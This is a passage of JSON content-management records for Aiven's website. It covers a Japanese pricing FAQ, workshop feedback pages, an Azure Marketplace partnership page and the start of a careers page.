"},{"_key":"db793ddd7d66","_type":"span","marks":["cafa7dbe43d4"],"text":"Kafkaプラン検索ツール(Service/Cloud/Region/Addon)を"},{"_key":"c71cbf38fa43","_type":"span","marks":[],"text":"使って、お客様独自のデータニーズや要件に基づいた推奨プランがわかります。"}],"markDefs":[{"_key":"96809834bb25","_type":"link","href":"https://aiven.io/ja/pricing?product=kafka\u0026tab=plan-comparison"},{"_key":"cafa7dbe43d4","_type":"internalLink","internalLink":{"_ref":"c3f4e356-f474-4130-827c-fb30a78ac222","_type":"reference"}}],"style":"normal"},{"_key":"70f00651ad15","_type":"block","children":[{"_key":"ba3dd5b13b860","_type":"span","marks":[],"text":"Aiven for PostgreSQLは、Business(2ノード)、Premium(3ノード)プランで高可用性を提供します。バックアップの保持期間はプランによって異なります。Hobbyistは0日、Startupは2日、Businessは14日、Premiumは30日です。プレミアムプランでは、オプションで同期レプリケーションを有効にすることで、より高い信頼性を得ることができます。"}],"markDefs":[],"style":"normal"},{"_key":"7db9f415da26","_type":"block","children":[{"_key":"472718426fc6","_type":"span","marks":[],"text":"Aiven for PostgreSQLのプランの詳細については、"},{"_key":"e90e628ddb941","_type":"span","marks":["b8211c1b5e5c"],"text":"プラン比較(Plan Comparison)を"},{"_key":"e90e628ddb942","_type":"span","marks":[],"text":"ご覧ください。"}],"markDefs":[{"_key":"b8211c1b5e5c","_type":"link","href":"https://aiven.io/ja/pricing?product=pg\u0026tab=plan-comparison"}],"style":"normal"}],"title":"プランの違いは何ですか?"},{"_key":"2f8a4e91da2e601a94909a7f9be2e92b","_ref":"e514e6cc-1088-4768-8a49-ea0e01ea7123__i18n_ja","_type":"reference"},{"_key":"3fc477baaf59","_ref":"eb3f00a1-cbb4-4ab2-bd42-961369ca95ec__i18n_ja","_type":"reference"},{"_key":"c3e8de27c1d7","_ref":"b4b43698-68fc-40a0-8edd-755088302126__i18n_ja","_type":"reference"},{"_key":"8ccd105ec22b","_ref":"0e804db0-a866-4abd-827f-4958881bf05b__i18n_ja","_type":"reference"}],"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"title":"よくある質問"},{"_key":"61e6e499fb02","_type":"cardList","addSpaceBottom":false,"addSpaceTop":false,"align":"center","backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"auto","backgroundSizeMobile":"auto","disabled":false,"fullWidth":false,"headerPosition":"default","items":[{"_key":"9a2e09297086","_type":"cardItem","subtitle":[{"_key":"6c2a4fb9d381","_type":"block","children":[{"_key":"71d3ffd9f2770","_type":"span","marks":[],"text":"Aivenを利用することで、どれくらいの節約が可能かを正確に計算し、お客様のデータ要件に合ったAiven for Apache Kafka®のプランをお探しください。"}],"markDefs":[],"style":"normal"},{"_key":"f2b452a6989e","_type":"block","children":[{"_key":"c60ce1a5a541","_type":"span","marks":["f4976236d11b"],"text":"Aiven料金計算ツール"}],"markDefs":[{"_key":"f4976236d11b","_type":"internalLink","internalLink":{"_ref":"a0d9c1c3-d9db-4505-9be9-2cdc41f78178","_type":"reference"}}],"style":"normal"},{"_key":"05fdf0eeea77","_type":"block","children":[{"_key":"dd293202ebc1","_type":"span","marks":["185052b2544e"],"text":"Aiven for Apache Kafka®プラン検索ツール"}],"markDefs":[{"_key":"185052b2544e","_type":"internalLink","internalLink":{"_ref":"c3f4e356-f474-4130-827c-fb30a78ac222","_type":"reference"}}],"style":"normal"}],"tagline":"ツール","title":"Aiven料金計算ツールとKafkaプラン検索ツール","variant":"default"},{"_key":"87084a6e27cd","_type":"cardItem","subtitle":[{"_key":"cd8f4c85fb44","_type":"block","children":[{"_key":"6e18b580478c0","_type":"span","marks":[],"text":"Jason Heppが、Aivenが組織に本質的な信頼と価値をもたらす方法についてご説明します。お客様の基盤を固めることと、どのように関係するのか、ぜひご覧ください。"}],"markDefs":[],"style":"normal"},{"_key":"e6b191eeea1d","_type":"block","children":[{"_key":"e563221b6193","_type":"span","marks":["c65fe46b78a1"],"text":"詳しく見る"}],"markDefs":[{"_key":"c65fe46b78a1","_type":"internalLink","internalLink":{"_ref":"3MggLA9OLDbYdLjn5eZSx6","_type":"reference"}}],"style":"normal"}],"tagline":"ブログ","title":"Aivenによる信頼と価値の創造","variant":"default"},{"_key":"2bcefdbab8c5","_type":"cardItem","subtitle":[{"_key":"8d52892a462a","_type":"block","children":[{"_key":"6192765f982d0","_type":"span","marks":[],"text":"サポートモデルや、障害に強いデータベース、自動回復機能、自己修復機能を提供するための取り組みについて詳しく説明します。"}],"markDefs":[],"style":"normal"},{"_key":"9c9326005a83","_type":"block","children":[{"_key":"fa953ca57d24","_type":"span","marks":["b0f833da6bd5"],"text":"サポート"}],"markDefs":[{"_key":"b0f833da6bd5","_type":"internalLink","internalLink":{"_ref":"17d882dc-fcff-4bab-b539-c811e713bfa7__i18n_ja","_type":"reference"}}],"style":"normal"},{"_key":"ca3b3b9d6cf5","_type":"block","children":[{"_key":"4b81a3e70060","_type":"span","marks":["bac590e7ae1f"],"text":"SLA"}],"markDefs":[{"_key":"bac590e7ae1f","_type":"internalLink","internalLink":{"_ref":"ef2b25b2-d677-46f7-9d13-288f493a0629","_type":"reference"}}],"style":"normal"}],"tagline":"リンク","title":"サポート、ライセンス、リーガル","variant":"default"}],"itemsPerRow":3,"noSpaceBottom":false,"noSpaceTop":true,"rounded":false,"title":"その他のリソース"},{"_key":"87230079ac79","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"auto","backgroundSizeMobile":"auto","disabled":false,"fullWidth":true,"noSpaceBottom":false,"noSpaceTop":false,"primaryCTA":{"_type":"link","externalUrl":"https://console.aiven.io/signup","title":"無料で始める"},"rounded":false,"subtitle":[{"_key":"4eedd6de9a6b","_type":"block","children":[{"_key":"a3ac5dc4f53c0","_type":"span","marks":[],"text":"Aivenによって、誰でも簡単にセットアップを行うことができます。Aivenの「set it and forget it (設定したら後はお任せ)」ソリューションは、クラウドデータインフラの悩みを解決してくれます。"}],"markDefs":[],"style":"normal"}],"title":"今すぐオンラインで最初のデータ基盤を立ち上げましょう","variant":"centerColumn"}],"seo":{"_type":"metaData","metaDescription":"ご希望のクラウド上でマネージド、ホスティングされたデータプラットフォームを、全て込みの時間課金制で提供します。Aivenのサービスを確認し、さまざまなプランを比較してみてください。","metaImage":{"_type":"mainImage","asset":{"_ref":"image-606a17bc642d3351db8987ffb1c6089316d80235-1200x630-jpg","_type":"reference"}},"metaTitle":"プランと価格 | Aiven"},"slug":{"_type":"slug","current":"/pricing"},"title":"Pricing"} {"__i18n_lang":"en","_createdAt":"2023-09-05T09:33:33Z","_id":"bbbc4b0c-c876-439c-81ef-dd771d03b99e","_rev":"jBJgpqpGruZvOgVMUB5tMH","_type":"page","_updatedAt":"2023-09-06T08:19:20Z","infoBannerPosition":"bottom","seo":{"_type":"metaData","excludeFromSitemap":true},"slug":{"_type":"slug","current":"/search"},"title":"Search"} {"__i18n_lang":"en","_createdAt":"2022-09-05T07:57:29Z","_id":"be4378c0-8d66-4694-8a37-b9519f4b10ae","_rev":"tW7kMBSHIbCIaN9dzJKLPj","_type":"page","_updatedAt":"2023-06-13T12:38:20Z","seo":{"_type":"metaData","metaDescription":"How are Aiven services used in the real world? Read our case studies, watch insightful videos and get inspired!","metaImage":{"_type":"mainImage","asset":{"_ref":"image-12d269d038c92d5a1ed8ee100485a5f4a8831ded-1200x628-jpg","_type":"reference"}},"metaTitle":"Customer spotlights | Success stories | Aiven"},"slug":{"_type":"slug","current":"/case-studies"},"title":"Customer stories"} {"__i18n_lang":"en","_createdAt":"2024-04-17T07:41:59Z","_id":"b792232b-680a-4755-9a16-651b838cbf0c","_rev":"zXwTFsMbyTsixmUjAhB4FL","_type":"page","_updatedAt":"2024-06-11T14:35:13Z","content":[{"_key":"a0db3f2dd19b","_type":"hero","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","breadcrumbs":{"currentPage":"Preparing and Using Data for AI with LangChain and OpenSearch®","parentPage":{"_type":"link","internalLink":{"_ref":"8dd9ba31-2945-46f4-ba71-27307ee82f3f","_type":"reference"},"title":"Developer Workshops"}},"description":[{"_key":"f42a4b6e04d9","_type":"block","children":[{"_key":"943310a718f90","_type":"span","marks":[],"text":"We hope you had a great time!\nAny feedback for us? Feel free to share your thoughts on our feedback form!"}],"markDefs":[],"style":"normal"}],"disabled":false,"fullWidth":false,"image":{"_type":"mainImage","asset":{"_ref":"image-d7e5106f46455bf447df91124e41364153e604e3-2250x2250-png","_type":"reference"}},"imageSize":"small","noSpaceBottom":false,"noSpaceTop":false,"primaryCTA":{"_type":"link","caption":"Help us to improve your experience","externalUrl":"https://go.aiven.io/feedback-opensearch-langchain","title":"Submit feedback"},"roundedCorners":"rounded-none","title":"Thank you for attending our workshop!","titleMultiColor":false,"variant":"default"},{"_key":"ed40323e07de","_type":"cardList","addSpaceBottom":false,"addSpaceTop":false,"align":"center","backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"headerPosition":"default","items":[{"_key":"a8db57da771d","_ref":"8fdcb25c-b824-48cb-9906-f8e6213af63f","_type":"devArticle"},{"_key":"cc1f638754ea","_ref":"7c922c7d-e791-4c33-a86a-0aa413cf7449","_type":"devArticle"},{"_key":"8540028233ff","_type":"cardItem","ctaLink":{"_type":"link","internalLink":{"_ref":"8dd9ba31-2945-46f4-ba71-27307ee82f3f","_type":"reference"},"title":"Upcoming live workshops"},"image":{"_type":"mainImage","alt":"Developer workshops","asset":{"_ref":"image-9f5a2db183e4e5bffcad8c3a9430a2a595343d0d-6000x3375-png","_type":"reference"}},"subtitle":[{"_key":"9b3ad5cc614e","_type":"block","children":[{"_key":"6a13a13d36730","_type":"span","marks":[],"text":"Learn online how to store, stream, or process your data with our developer advocates in these free workshops."}],"markDefs":[],"style":"normal"}],"tagline":"Learn online","title":"Developer workshops","variant":"default"}],"itemsPerRow":3,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none"},{"_key":"f1f7f561b75c","_type":"textImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"image":{"_type":"mainImage","alt":"Aiven Community Forum"},"noSpaceBottom":false,"noSpaceTop":false,"primaryCTA":{"_type":"link","externalUrl":"https://aiven.io/community/forum/","title":"Join the forum "},"roundedCorners":"rounded-none","tagline":"Aiven Community Forum","text":[{"_key":"666c8e64caa5","_type":"block","children":[{"_key":"7d13ae66af6a0","_type":"span","marks":[],"text":"Ask questions, collaborate on open source, and find resources from our meetups."}],"markDefs":[],"style":"normal"}],"title":"Continue the conversation","variant":"mediaCenter"}],"internalTags":[{"_key":"83aca2737b6a","_ref":"8dba8149-1dd0-4856-baf0-d8f852d7f6bd","_type":"tag"}],"seo":{"_type":"metaData","excludeFromSitemap":true,"metaDescription":"Any feedback for us? Feel free to share your thoughts on our feedback form!","metaImage":{"_type":"mainImage","alt":"Aiven developer advocates","asset":{"_ref":"image-9f5a2db183e4e5bffcad8c3a9430a2a595343d0d-6000x3375-png","_type":"reference"}},"metaTitle":"Thank you for attending our developer workshop!"},"slug":{"_type":"slug","current":"/opensearch-langchain-workshop-feedback"},"title":"Thank you for attending the workshop"} {"__i18n_lang":"en","_createdAt":"2023-03-17T15:23:21Z","_id":"cf116abb-43be-4291-9f7b-9235b406b83f","_rev":"IfootSjA4c56MZIbwrAJRM","_type":"page","_updatedAt":"2023-04-03T08:46:19Z","infoBannerPosition":"bottom","seo":{"_type":"metaData","metaDescription":"Search for our comprehensive guide to the latest tools and resources in open source technology","metaImage":{"_type":"mainImage","asset":{"_ref":"image-6d1b413bef33c70c59b691abaf07da67a64f6ba1-1200x630-jpg","_type":"reference"}},"metaTitle":"Search | Aiven Developer Center"},"slug":{"_type":"slug","current":"/developer/search"},"title":"Developer search"} {"__i18n_lang":"en","_createdAt":"2024-05-02T15:03:19Z","_id":"f7e717a7-844c-4a77-98cf-a518ecea2b88","_rev":"5dKvdU2b7V4fiIIxYkvVIx","_type":"page","_updatedAt":"2024-05-17T07:12:19Z","content":[{"_key":"db08f9c5d675","_type":"hero","backgroundColor":{"_ref":"691c748b-6770-40d0-94dc-95f21aa776c8","_type":"reference"},"backgroundImage":{"_type":"mainImage","asset":{"_ref":"image-59f93eea73f1b4012da358ba444ee101f936f8d7-1265x431-svg","_type":"reference"}},"backgroundImageMobile":{"_type":"mainImage","asset":{"_ref":"image-4f5f67b919f1bfdaa97f014c011d7bd4b32ccb64-1440x565-svg","_type":"reference"}},"backgroundSize":"cover","backgroundSizeMobile":"cover","darkTheme":true,"description":[{"_key":"397d5c4bd698","_type":"block","children":[{"_key":"f4d9ed2967990","_type":"span","marks":[],"text":"Build world class data infrastructure with Aiven on Microsoft Azure. Aiven provides the open source data services you know and love, user-friendly interfaces, high end customer support, and built-in security and compliance by design. Now accessible from the Microsoft Azure Marketplace and via Bring Your Own Cloud (BYOC)."}],"markDefs":[],"style":"normal"}],"disabled":false,"fullWidth":false,"noSpaceBottom":true,"noSpaceTop":false,"roundedCorners":"rounded-none","title":"Aiven on Microsoft Azure","variant":"compact"},{"_key":"bbcbd313136d","_type":"logoList","backgroundColor":{"_ref":"5d01a557-a137-4fae-8bfb-d4e00870ff92","_type":"reference"},"disabled":false,"fullWidth":true,"grayscale":false,"hideItemLink":true,"logos":[{"_key":"b1295838f9023bf759cf6ae12274123f","_ref":"540d62ad-dad5-4a28-9c54-94f436709b92","_type":"reference"},{"_key":"6df9bd6bf5bc6be6ae7ae7a4e602b267","_ref":"217845de-9025-4cd7-b461-e126fb7fc23c","_type":"reference"},{"_key":"1bbfde8a5935","_ref":"2G9z2uZhiE8LjSLikpXmFJ","_type":"reference"},{"_key":"f7b9cb8e9fe2","_ref":"727f3f76-3bb5-4b94-a943-59f28858872a","_type":"reference"},{"_key":"5be51370b52ab4db73c32b114808ac53","_ref":"2BACGWdhEhfcQse2RSiztJ","_type":"reference"}],"noSpaceBottom":false,"primaryCTA":{"_type":"link","externalUrl":"https://aiven.io/case-studies?hostProviders=Microsoft%2520Azure","title":"Explore all Microsoft Azure case studies"},"roundedCorners":"rounded-b","tagline":"Our products are trusted by industry leaders","variant":"logo"},{"_key":"c081a6856ef9","_type":"iconList","disabled":false,"fullWidth":false,"headerPosition":"left","iconSize":24,"icons":[{"_key":"b32368b2e485","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-c73588011bea5b815efb960f9bb5ed6aa5a46c64-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"214bd9882ad3","_type":"block","children":[{"_key":"eb5318ef080c0","_type":"span","marks":[],"text":"We guard your data infrastructure like our own, with dedicated virtual machines, TLS encryption and VPC peering on Microsoft Azure. SOC2, GDPR, HIPAA, and PCI DSS compliant."}],"markDefs":[],"style":"normal"}],"title":"Security"},{"_key":"59aaf76c5e81","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-0a79c1fce4fc66bc0e3e731b6cbac27ba80bfeb9-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"11cf6178671a","_type":"block","children":[{"_key":"8f1d329afb500","_type":"span","marks":[],"text":"Get your questions and tickets handled by members of Aiven core development teams, instead of outsourced support specialists."}],"markDefs":[],"style":"normal"}],"title":"Support"},{"_key":"a46cde92a19e","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-0341b1c3696da7468cfbba301dd17929b0cdc72f-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"ef31dcaa194b","_type":"block","children":[{"_key":"458fe5510fa80","_type":"span","marks":[],"text":"Aiven uptimes can't be beat - we promise to have your services running 99.99% of the time."}],"markDefs":[],"style":"normal"}],"title":"Uptime"},{"_key":"b55bef62d6c3","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-b75b64e036bf3f1eda9c1349e49abef43314cfd1-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"97a1865fc69f","_type":"block","children":[{"_key":"50e28a22210a0","_type":"span","marks":[],"text":"Receive a single invoice from Microsoft Azure, instead of two separate bills. Purchases of Aiven services through the marketplace will also count towards your cloud spending commitments with Microsoft Azure."}],"markDefs":[],"style":"normal"}],"title":"Easy billing"}],"primaryCTA":{"_type":"link","internalLink":{"_ref":"8930abef-2819-4638-b11a-a3a2e33e18ff","_type":"reference"},"title":"Book a demo"},"rounded":false,"subtitle":[{"_key":"d03d3c059080","_type":"block","children":[{"_key":"019b78bd53340","_type":"span","marks":[],"text":"Instead of spending your cycles on setup, security, and system configuration, ongoing maintenance, and scaling reliably, leverage Aiven. We take care of the boring stuff for you, so you can focus on your core business and applications that amaze your customers."}],"markDefs":[],"style":"normal"}],"title":"Why Aiven on Microsoft Azure?"},{"_key":"dec13023b48b","_type":"textImage","backgroundColor":{"_ref":"21e657b8-5980-4a85-87f8-595301495bef","_type":"reference"},"darkTheme":true,"disabled":false,"fullWidth":false,"image":{"_type":"mainImage","asset":{"_ref":"image-2b810ed3f38c6ef8542c78e1331bc3bc11c3fd9e-450x163-png","_type":"reference"}},"narrowImage":true,"roundedCorners":"rounded-tl-br","tertiaryCTA":{"_type":"link","externalUrl":"https://azuremarketplace.microsoft.com/en-us/marketplace/apps/aivenltd1590663507662.aiven_managed_database_services","title":"Launch Aiven services"},"text":[{"_key":"dd8e17a20556","_type":"block","children":[{"_key":"8ea70fe80a630","_type":"span","marks":[],"text":"With Microsoft Azure Marketplace, you can deploy any cloud services including Apache Kafka®, Apache Flink®, Apache Cassandra®, OpenSearch®, PostgreSQL®, MySQL, Redis®, Grafana® and more on Aiven Platform."}],"markDefs":[],"style":"normal"}],"title":"Aiven on Microsoft Azure Marketplace","variant":"mediaRight"},{"_key":"689cdc352e7d0ccd458cfe61120568fb","_type":"textImage","disabled":false,"fullWidth":false,"image":{"_type":"mainImage","asset":{"_ref":"image-ee1ba5b618b907935f0835bcb82b63559b114c69-1624x1208-png","_type":"reference"}},"mediaWidth":"w-2/3","rounded":false,"text":[{"_key":"d2e4d0a1df71","_type":"block","children":[{"_key":"e798392892010","_type":"span","marks":[],"text":"Aiven offers customers the ability to leverage Aiven cloud services on their own infrastructure. Customers can simply put their Savings Plans to use, or may have unique networking and security requirements that are solved for by provisioning infrastructure they have greater control over."}],"markDefs":[],"style":"normal"},{"_key":"bb18473f774f","_type":"block","children":[{"_key":"6e0523336b940","_type":"span","marks":[],"text":"This is an option for paying customers, requiring a base set up fee."}],"markDefs":[],"style":"normal"}],"title":"Bring Your Own Cloud (BYOC) on Microsoft Azure","variant":"mediaCenter"},{"_key":"33e2ca4b6cff8ca35f9bf1bf3c4f96a9","_type":"cardList","addSpaceBottom":false,"addSpaceTop":false,"align":"center","backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"headerPosition":"default","items":[{"_key":"13e9e9102248","_ref":"cb009e59-7ab2-4357-9574-17e640b69477","_type":"caseStudy"},{"_key":"b42d93f21313","_ref":"3d9080bc-213b-4c4e-a7b9-e3220f9bcf65","_type":"reference"},{"_key":"30703e610f0b","_ref":"aa91894d-4565-4847-8728-392a20b4b507","_type":"caseStudy"}],"itemsPerRow":3,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","subtitle":[{"_key":"58439ff77615","_type":"block","children":[{"_key":"b8fc0aaa35fd0","_type":"span","marks":[],"text":"We are proud to help customers from all industries, small and large, to accomplish their goals."}],"markDefs":[],"style":"normal"}],"title":"Get inspired by real life success stories"},{"_key":"9c99b5c9396d","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"691c748b-6770-40d0-94dc-95f21aa776c8","_type":"reference"},"backgroundImage":{"_type":"mainImage","asset":{"_ref":"image-4f5f67b919f1bfdaa97f014c011d7bd4b32ccb64-1440x565-svg","_type":"reference"}},"backgroundImageMobile":{"_type":"mainImage","asset":{"_ref":"image-4f5f67b919f1bfdaa97f014c011d7bd4b32ccb64-1440x565-svg","_type":"reference"}},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","darkTheme":true,"disabled":false,"fullWidth":true,"noSpaceBottom":false,"noSpaceTop":false,"primaryCTA":{"_type":"link","internalLink":{"_ref":"8930abef-2819-4638-b11a-a3a2e33e18ff","_type":"reference"},"title":"Book a demo today"},"roundedCorners":"rounded-t","subtitle":[{"_key":"eda554b7e265","_type":"block","children":[{"_key":"4711034788500","_type":"span","marks":[],"text":"Experience the trusted open source data solutions on Microsoft Azure, now with effortless installation and dedicated assistance. Find us on the "},{"_key":"7539c71f01e9","_type":"span","marks":["f77f2b7c0544"],"text":"Microsoft Azure Marketplace"},{"_key":"836f9bf4c713","_type":"span","marks":[],"text":" or opt for the Bring Your Own Cloud (BYOC) approach."}],"markDefs":[{"_key":"f77f2b7c0544","_type":"link","href":"https://azuremarketplace.microsoft.com/en-us/marketplace/apps/aivenltd1590663507662.aiven_managed_database_services"}],"style":"normal"}],"title":"Book a personalized demo","variant":"centerColumn"}],"seo":{"_type":"metaData","metaDescription":"Leverage the powerful, proven open source data services you know and love on Microsoft Azure. Easy setup, real human support, integration with your Microsoft Azure billing, and the option to BYOC.","metaImage":{"_type":"mainImage","asset":{"_ref":"image-85907cae7aa92e36913bdd82f24b84052ba9e06a-1200x630-jpg","_type":"reference"}},"metaTitle":"Aiven on Microsoft Azure Marketplace"},"slug":{"_type":"slug","current":"/azure"},"title":"Aiven + Microsoft Azure Partnership"} {"__i18n_lang":"en","_createdAt":"2024-03-20T09:07:33Z","_id":"c5d69538-8a18-4e37-9ff4-97322a2c3ac7","_rev":"zXwTFsMbyTsixmUjAh9xc9","_type":"page","_updatedAt":"2024-06-11T14:34:34Z","content":[{"_key":"a0db3f2dd19b","_type":"hero","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","breadcrumbs":{"currentPage":"Learn Apache Kafka® with Python","parentPage":{"_type":"link","internalLink":{"_ref":"8dd9ba31-2945-46f4-ba71-27307ee82f3f","_type":"reference"},"title":"Developer Workshops"}},"description":[{"_key":"f42a4b6e04d9","_type":"block","children":[{"_key":"943310a718f90","_type":"span","marks":[],"text":"We hope you had a great time!\nAny feedback for us? Feel free to share your thoughts on our feedback form!"}],"markDefs":[],"style":"normal"}],"disabled":false,"fullWidth":false,"image":{"_type":"mainImage","asset":{"_ref":"image-d7e5106f46455bf447df91124e41364153e604e3-2250x2250-png","_type":"reference"}},"imageSize":"small","noSpaceBottom":false,"noSpaceTop":false,"primaryCTA":{"_type":"link","caption":"Help us to improve your experience","externalUrl":"https://go.aiven.io/feedback-kafka-python","title":"Submit feedback"},"roundedCorners":"rounded-none","title":"Thank you for attending our workshop!","titleMultiColor":false,"variant":"default"},{"_key":"60dadf35fc73","_type":"textImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":true,"fullWidth":false,"image":{"_type":"mainImage","asset":{"_ref":"image-d7e5106f46455bf447df91124e41364153e604e3-2250x2250-png","_type":"reference"}},"imagePosition":"center","noSpaceBottom":false,"noSpaceTop":false,"primaryCTA":{"_type":"link","externalUrl":"https://go.aiven.io/feedback-kafka-python","title":"Submit feedback"},"roundedCorners":"rounded-none","text":[{"_key":"ba85c4b50ed4","_type":"block","children":[{"_key":"aa94f4ec8b1e","_type":"span","marks":[],"text":"We hope you had a great time! \nAny feedback for us? Feel free to share your thoughts on our feedback form!"}],"markDefs":[],"style":"normal"}],"title":"Thank you for attending our workshop! ","variant":"mediaRight"},{"_key":"f1f7f561b75c","_type":"textImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"image":{"_type":"mainImage","alt":"Aiven Community Forum","asset":{"_ref":"image-0dc068d561d88e54641b3bb1ea03f38fd8df5634-2880x1416-png","_type":"reference"}},"imagePosition":"center","noSpaceBottom":false,"noSpaceTop":false,"primaryCTA":{"_type":"link","externalUrl":"https://aiven.io/community/forum/","title":"Join the forum "},"roundedCorners":"rounded-none","tagline":"Aiven Community Forum","text":[{"_key":"666c8e64caa5","_type":"block","children":[{"_key":"7d13ae66af6a0","_type":"span","marks":[],"text":"Ask questions about the tools in our free plans (PostgreSQL®, MySQL, Redis®*), collaborate on open source, and find resources from our meetups."}],"markDefs":[],"style":"normal"}],"title":"Continue the conversation","variant":"mediaCenter"},{"_key":"ed40323e07de","_type":"cardList","addSpaceBottom":false,"addSpaceTop":false,"align":"center","backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"headerPosition":"default","items":[{"_key":"8540028233ff","_type":"cardItem","ctaLink":{"_type":"link","internalLink":{"_ref":"8dd9ba31-2945-46f4-ba71-27307ee82f3f","_type":"reference"},"title":"Upcoming live workshops"},"image":{"_type":"mainImage","alt":"Developer workshops","asset":{"_ref":"image-9f5a2db183e4e5bffcad8c3a9430a2a595343d0d-6000x3375-png","_type":"reference"}},"subtitle":[{"_key":"9b3ad5cc614e","_type":"block","children":[{"_key":"6a13a13d36730","_type":"span","marks":[],"text":"Learn online how to store, stream, or process your data with our developer advocates in these free workshops."}],"markDefs":[],"style":"normal"}],"tagline":"Learn online","title":"Developer workshops","variant":"default"},{"_key":"f0c36121c256","_ref":"766e5371-c2d6-409d-acba-a478d18ffdd2","_type":"devArticle"},{"_key":"0604168efce7","_ref":"4bf1e2ed-7340-491e-a22d-2e6b89994f2e","_type":"devArticle"}],"itemsPerRow":3,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","title":"Dive deeper into Apache Kafka with Python"}],"internalTags":[{"_key":"83aca2737b6a","_ref":"8dba8149-1dd0-4856-baf0-d8f852d7f6bd","_type":"tag"}],"seo":{"_type":"metaData","excludeFromSitemap":true,"metaDescription":"Any feedback for us? Feel free to share your thoughts on our feedback form!","metaImage":{"_type":"mainImage","alt":"Aiven developer advocates","asset":{"_ref":"image-9f5a2db183e4e5bffcad8c3a9430a2a595343d0d-6000x3375-png","_type":"reference"}},"metaTitle":"Thank you for attending our developer workshop!"},"slug":{"_type":"slug","current":"/learn-apache-kafka-with-python-feedback"},"title":"Thank you for attending the developer workshop"} {"__i18n_lang":"en","_createdAt":"2022-09-02T14:40:33Z","_id":"9ec37216-4c4e-4430-8abe-e15365bc9d55","_rev":"pUSD55BbKwcTZOl8ykwwlG","_type":"page","_updatedAt":"2024-11-22T10:50:35Z","content":[{"_key":"e5d6bfc9bbc0","_type":"hero","addSpaceBottom":false,"backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"description":[{"_key":"0af9bd57f024","_type":"block","children":[{"_key":"b8faab65c6fa0","_type":"span","marks":[],"text":"Welcome to Aiven. \nYou’ve just taken your first scuttle into a wider world."}],"markDefs":[],"style":"normal"}],"disabled":false,"fullWidth":true,"heroHasVideo":true,"isImageLarge":false,"primaryCTA":{"_type":"link","internalLink":{"_ref":"04d831e8-70a3-4eaa-826a-1247de9bab4b","_type":"reference"},"title":"See our open positions"},"rounded":false,"title":"Aiven Careers","variant":"default","videoHosting":"youtube","ytId":"eX_wExsWIEE"},{"_key":"5ed287f30c13","_type":"cardList","addSpaceBottom":false,"addSpaceTop":false,"align":"center","backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","darkTheme":false,"disabled":false,"fullWidth":false,"headerPosition":"default","items":[{"_key":"b775ff88afda","_type":"cardItem","borderTopColor":{"_ref":"04985b78-1330-4b9d-9643-3b6050b75609","_type":"reference"},"image":{"_type":"mainImage","asset":{"_ref":"image-ded3a5e11fa05c2b06de1917abbcd0590f11f0f5-417x417-png","_type":"reference"}},"subtitle":[{"_key":"4b1bb9c5c8b2","_type":"block","children":[{"_key":"0be91cc398f30","_type":"span","marks":[],"text":"To any new idea. To inspiration from every colleague and experience. Supporting the open source community that makes us who we are."}],"markDefs":[],"style":"normal"}],"title":"We are open","variant":"icon-card"},{"_key":"f79592f487f107437e8c0f518a4338bb","_type":"cardItem","borderTopColor":{"_ref":"04985b78-1330-4b9d-9643-3b6050b75609","_type":"reference"},"image":{"_type":"mainImage","asset":{"_ref":"image-d618f5469f8a7d6d567a4a122b431ef9918b3e3e-417x417-png","_type":"reference"}},"subtitle":[{"_key":"9a605ce57cd4","_type":"block","children":[{"_key":"528977acc1740","_type":"span","marks":[],"text":"We own our decisions. Our mistakes. The places they take us."}],"markDefs":[],"style":"normal"}],"title":"We are owners","variant":"icon-card"},{"_key":"392d24724c67778fd2d6bbfd56d2ea20","_type":"cardItem","borderTopColor":{"_ref":"04985b78-1330-4b9d-9643-3b6050b75609","_type":"reference"},"image":{"_type":"mainImage","asset":{"_ref":"image-da9c4c0a4a489aa646bc6b8bb1a45a9a7dc5f5cb-417x417-png","_type":"reference"}},"subtitle":[{"_key":"12fbf069bfc1","_type":"block","children":[{"_key":"0bd65341f3890","_type":"span","marks":[],"text":"We take on any challenge. Take calculated risks. We drive changes, not resist them."}],"markDefs":[],"style":"normal"}],"title":"We are 